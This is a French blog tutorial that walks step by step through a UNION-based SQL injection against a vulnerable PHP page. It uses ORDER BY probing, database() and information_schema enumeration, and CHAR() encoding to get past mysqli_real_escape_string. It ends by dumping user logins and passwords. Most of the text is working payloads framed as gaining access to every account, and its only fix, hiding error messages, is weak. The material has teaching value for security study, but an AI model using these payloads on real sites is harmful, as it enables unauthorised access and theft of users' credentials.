Dumper une base de données

To the non-french speaker, note that you can translate the articles using the Google Trad widget situated at the bottom of all pages.


Jusqu’ici nous avons vu comment bypass un formulaire d’authentification et comment utiliser les injections SQL Stack Based. Cependant avec les injections SQL on peut aller encore plus loin. Mais vraiment trèèèèèèèèèèèèèèèès loin. Dans cet article nous verrons comment dumper une base de données dans son entiéreté le tout à la main 😎!

Pour les besoins de cet article je vais utiliser une base de données ainsi que plusieurs fichiers. Vous les trouverez ici ! Voici la base avec laquelle nous allons effectuer les tests :

-La table article et son contenu :

article

-La table category et son contenu :

category

-La table utilisateur et son contenu :

utilisateur

La première chose à faire lorsque l’on veut faire une injection SQL, c’est de trouver un site vulnérable ! Pour cela on peut se servir des dorks et de google. Bon je vous spoil un peu : notre fichier formulaire.php est clairement vulnérable. Ce qui nous intéresse le plus c’est cette partie :

formulaire.php?idCategory=3

On voit que le paramètre 3 est envoyé via la méthode GET. En gros, lorsque l’utilisateur entre cette URL, il demande au serveur de lui renvoyer les articles dont la catégorie vaut 3. Voici la requête SQL qu’utilisera le script PHP :

SELECT * FROM article WHERE idCategory= 3 ;

Bien évidement la seule information dont nous disposons ici c’est qu’il existe un paramètre visible et modifiable dans l’URL et que celui-ci nous permet d’accéder à la base de données de manière direct. Du coup si on essaye de faire crasher la requête en ajoutant -par exemple-  un  « ‘ » eh bien on devrait avoir une belle erreur :

erreur

Sweet ! 😈😈

Voici le code de la page que je vais attaquer :

11.png

La première à chose à voir ici, c’est que le code PHP n’utilise pas de requêtes préparées, c’est donc pour ça que l’on peut injecter du code SQL. Cependant les caractères spéciaux sont échappés grâce à la fonction :

 $category= mysqli_real_escape_string

Mais bon ça ne va rien changer au résultat ! Donc si on envoie 3 comme paramètre on obtient ceci :

idcategory3

Passons maintenant à l’attaque ! Nous ce qu’on veut c’est récupéré le contenu de la base de données. Pour cela, nous allons avoir besoin du nom de la base de données, des tables et des colonnes.

Mais avant tout nous allons devoir trouver le nombre de colonnes qui sont retournées par la requête SQL. Quand on regarde le code on voit qu’il y a trois colonnes qui sont retournées :

SELECT idArticle, nomArticle, contenuArticle FROM article WHERE idCategory = 3 ;

Dans la pratique, nous n’avons pas accès au code source de la page et donc on doit deviner le nombre de colonnes affectées par la requête en utilisant la clause « order by » et en brute forçant le tout ! En live voilà ce que ça donne :

-Order by 1 :

o1

-Order by 2 :

o2 :

-Order by 3 :

o3

-Order by 4 :

o4

Ahhh, nous avons une erreur. Elle nous apprend qu’il y a donc 3 colonnes affectées par la requête SQL.

Ce paramètre est extrêmement important, en effet grâce à lui nous allons pouvoir faire des jointures SQL et nous balader sur les autres tables de la base de données pour récupérer les données qui nous intéressent.  Attention, pour que notre injection SQL fonctionne il faudra impérativement qu’à la suite de l’union il y ait 3 paramètres. Sinon notre jointure échouera et nous aurons un message d’erreur !

Ce qui serait cool maintenant, c’est de connaître le nom de la base pour pouvoir s’y aventurer. Sauf que théoriquement on ne le connait pas. Si vous avez lu l’article sur MySQL, alors vous savez qu’il existe quatre bases de données implémentées d’office et qui permettent de gérer l’ensemble des bases de données.

Et bien il existe aussi des fonctions implémentées d’office comme par exemple la fonction database() qui nous retourne … le nom de la base ! Du coup si on entre comme paramètre :

3 union select 1,2,database()#

database

Injection ? Ne serait-ce pas le nom de notre base ? 😁😁 Encore pire, une fois que nous avons le nom de la base et en utilisant la table information_schema on peut trouver le nom de toutes les colonnes de la base ! Essayons ce payload :

3 union select 1,TABLE_NAME,3 from information_schema.TABLES where
 table_schema='injection'

erreurchar

Ça aurait été trop facile ahah, je vous ai dit que nous avons échappé les caractères spéciaux avec le script PHP et cette ligne :

$category= mysqli_real_escape_string

Du coup notre requête qui utilise des « ‘ » est bloquée d’office. Mais en soit ce n’est pas vraiment un problème puisque comme je vous l’ai dit MySQL met à disposition de l’utilisateur de nombreuses fonctions comme la fonction CHAR(int nombre) qui traduit un nombre en son caractère ASCII.

Encore faudrait-il connaître la valeur numérique de chacun des caractères du nom de notre base. Pour cela il suffit d’utiliser une table ASCII !

ascii

Ou alors si vous êtes flemmards (comme moi) :

conver

Injection devient donc : 105 110 106 101 99 116 105 111 110. Du coup si on transforme notre requête en ceci :

3 union select 1,TABLE_NAME,3 from information_schema.TABLES 
 where table_schema=CHAR(105,110,106,101,99,116,105,111,110)

Nous obtiendrons ceci :

nomtable

Les noms de nos tables !

La table la plus intéressante ici est la table utilisateur, elle contient les identifiants des membres du site, leur mot de passe, leurs email etc…

On va donc tenter d’afficher son contenu, et pour cela il faut connaître le nom de ses colonnes. En l’occurrence les noms de nos colonnes sont : idUtilisateur, ident, mdp, nomUtilisateur, prenomUtilisateur et emailUtilisateur. Mais dans la pratique on ne les connait donc on doit les trouver !

Pour cela deux possibilités s’offrent à nous, soit nous tentons de brute force le nom des colonnes en tentant « username » « nomUtilisateur » « nomutilisateur » « user » « identifiant » « motDePasse », « pass », « password », « email » etc… Soit on fait appel aux fonctions implémentées par MySQL !

Encore une fois la table information_schema va nous être d’une grande aide. Et encore une fois il faudra traduire le mot « utilisateur » (le nom de la colonne) en décimal en utilisant la fonction CHAR() pour bypass l’échappement !

Voici le payload’:

3 union select 1, COLUMN_NAME, 3 FROM information_schema.COLUMNS 
 WHERE TABLE_SCHEMA = CHAR(105,110,106,101,99,116,105,111,110) AND 
 TABLE_NAME = CHAR(117,116,105,108,105,115,97,116,101,117,114)

Et le résultat :

colones

Bon bah maintenant qu’on a le nom de nos colonnes il suffit de faire une simple requête  afin de récupérer l’ensemble des données de la table !

3 union select 1,ident,mdp FROM utilisateur

resultat

Et voilà vous avez officiellement accès à tous les comptes du site. Ici j’ai sélectionné l’identifiant et le mot de passe mais j’aurais tout aussi bien pu prendre l’adresse mail le nom ou encore le prénom…


Ce qui a rendu possible cette injection URL c’est le fait que les erreurs soient affichées à l’utilisateur. Donc un bon moyen d’empêcher ce genre d’injections c’est de cacher toutes les erreurs. Mais nous verrons plus tard qu’il est toujours possible d’attaquer un site via une blind SQL injection 😏 !

Comme d’habitude je vous laisse les fichiers de test 🙂 !

2 commentaires

Laisser un commentaire

Entrez vos coordonnées ci-dessous ou cliquez sur une icône pour vous connecter:

Logo WordPress.com

Vous commentez à l'aide de votre compte WordPress.com. Déconnexion /  Changer )

Photo Google

Vous commentez à l'aide de votre compte Google. Déconnexion /  Changer )

Image Twitter

Vous commentez à l'aide de votre compte Twitter. Déconnexion /  Changer )

Photo Facebook

Vous commentez à l'aide de votre compte Facebook. Déconnexion /  Changer )

Connexion à %s